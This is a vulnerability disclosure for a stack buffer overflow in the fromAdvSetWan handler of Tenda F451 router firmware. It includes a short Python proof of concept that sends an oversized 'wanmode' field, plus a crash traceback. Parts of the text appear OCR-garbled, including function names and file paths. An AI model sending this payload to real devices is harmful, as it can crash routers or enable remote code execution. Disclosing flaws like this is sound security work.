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Information

Vendor: Tenda

Product: F451 kfw V1.0.0.7_cn_svn7958

Version: V1.0.0.7

Vulnerability: buffer overflow

Firmware Download: https://www.tenda.com.cn/material/show/1597
Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :

In fromAdvSetWan function,it reads in a user-provided parameter wanmode and PPPOEPassword.

If the value of wanmode is 2, the variable v17 is passed to the sub_3C6CO0 function without any length check,
which may overflow the stack-based buffer s.
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The fromAdvSetWan function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow -
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As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code
execution.

Proof of Concept (PoC)

import requests

url =

"http://127.0.0.1/goform/AdvSetWan"

payload = {
'‘wanmode':b'a'*2048

}

res = requests.post(url=url,data=payload)

Overcome

= lah@lah: ~/TengDa/ F451_kfw_V1.0.0.7_cn_svn7958.bin.extra...
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core dumped

:-S python3 poc19.py
TraCeraCk (oS T recent tatr-last) :
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py”,
urlopen
httplib_response = self._make_request(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py”,
_make_request
six.raise_from(e, MNone)
File "<string>", line 3, in raise_from
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py”,
_make_request
httplib_response = conn.getresponse()
File "/usr/lib/python3.106/http/client.py"”,
response.begin()
File "/fusr/lib/python3.10/http/client.py”,
version, status,

line 1375, in getresponse

line 318, in begin

reason = self._read_status()

File "/fusr/lib/python3.10/http/client.py”,
raise RemoteDisconnected("Remote end closed connection without”

line 287, in _read_status

http.client.RemoteDisconnected: Remote end closed connection without response

During handling of the above exception, another exception occurred:

Traceback (most recent call last):

File "/usr/lib/python3/dist-packages/requests/adapters.py”, line 439, in send
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